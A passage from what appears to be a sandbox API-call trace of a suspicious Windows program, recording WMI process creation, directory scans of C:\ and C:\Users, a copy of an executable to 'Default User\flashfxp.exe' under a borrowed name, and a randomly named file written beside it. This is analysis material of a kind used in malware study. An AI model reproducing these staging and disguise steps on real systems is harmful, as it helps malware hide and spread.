pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0162.138] IWbemServices:ExecMethod (in: This=0x1bb803f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc76c30, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc76ee0, ppCallResult=0x0) returned 0x0 [0162.300] IWbemClassObject:Get (in: This=0x1bc76ee0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790c78*=0, plFlavor=0x2790c7c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa28, varVal2=0x0), pType=0x2790c78*=19, plFlavor=0x2790c7c*=0) returned 0x0 [0162.300] IWbemClassObject:Get (in: This=0x1bc76ee0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790c78*=19, plFlavor=0x2790c7c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa28, varVal2=0x0), pType=0x2790c78*=19, plFlavor=0x2790c7c*=0) returned 0x0 [0162.301] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0162.301] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.301] CoTaskMemFree (pv=0x1a988070) [0162.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0162.301] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0162.302] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d87e0 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x298ba5c0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x298ba5c0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0162.302] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0162.303] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.303] FindClose (in: hFindFile=0x1a9d87e0 | out: hFindFile=0x1a9d87e0) returned 1 [0162.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0162.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0162.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0162.304] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0162.304] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d87e0 [0162.304] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.304] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ac5db40, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x2ac5db40, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0162.305] FindNextFileW (in: hFindFile=0x1a9d87e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.305] FindClose (in: hFindFile=0x1a9d87e0 | out: hFindFile=0x1a9d87e0) returned 1 [0162.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0162.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0162.306] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\flashfxp.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\flashfxp.exe", lpFilePart=0x0) returned 0x22 [0162.306] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0162.306] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\flashfxp.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\flashfxp.exe", lpFilePart=0x0) returned 0x22 [0162.306] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Users\\Default User\\flashfxp.exe" (normalized: "c:\\users\\default user\\flashfxp.exe"), bFailIfExists=0) returned 1 [0162.366] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\b064723b75e933", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\b064723b75e933", lpFilePart=0x0) returned 0x24 [0162.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0162.366] CreateFileW (lpFileName="C:\\Users\\Default User\\b064723b75e933" (normalized: "c:\\users\\default user\\b064723b75e933"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x378 [0162.367] GetFileType (hFile=0x378) returned 0x1 [0162.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0162.367] GetFileType (hFile=0x378) returned 0x1 [0162.367] WriteFile (in: hFile=0x378, lpBuffer=0x27dc980*, nNumberOfBytesToWrite=0x3b4, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x27dc980*, lpNumberOfBytesWritten=0x1bb7e978*=0x3b4, lpOverlapped=0x0) returned 1 [0162.369] CloseHandle (hObject=0x378) returned 1 [0162.371] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0162.371] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0162.371] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0162.371] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.373] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce6720) returned 0x0 [0162.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0162.374] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a410) returned 0x0 [0162.374] WbemDefPath:IUnknown:Release (This=0x1bce6720) returned 0x0 [0162.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a410) returned 0x0 [0162.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0162.374] WbemDefPath:IUnknown:AddRef (This=0x1aa0a410) returned 0x3 [0162.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0162.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0162.374] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce5ca0) returned 0x0 [0162.374] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5ca0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.374] WbemDefPath:IUnknown:Release (This=0x1bce5ca0) returned 0x3 [0162.374] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0162.375] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0162.375] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0162.375] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x2 [0162.375] 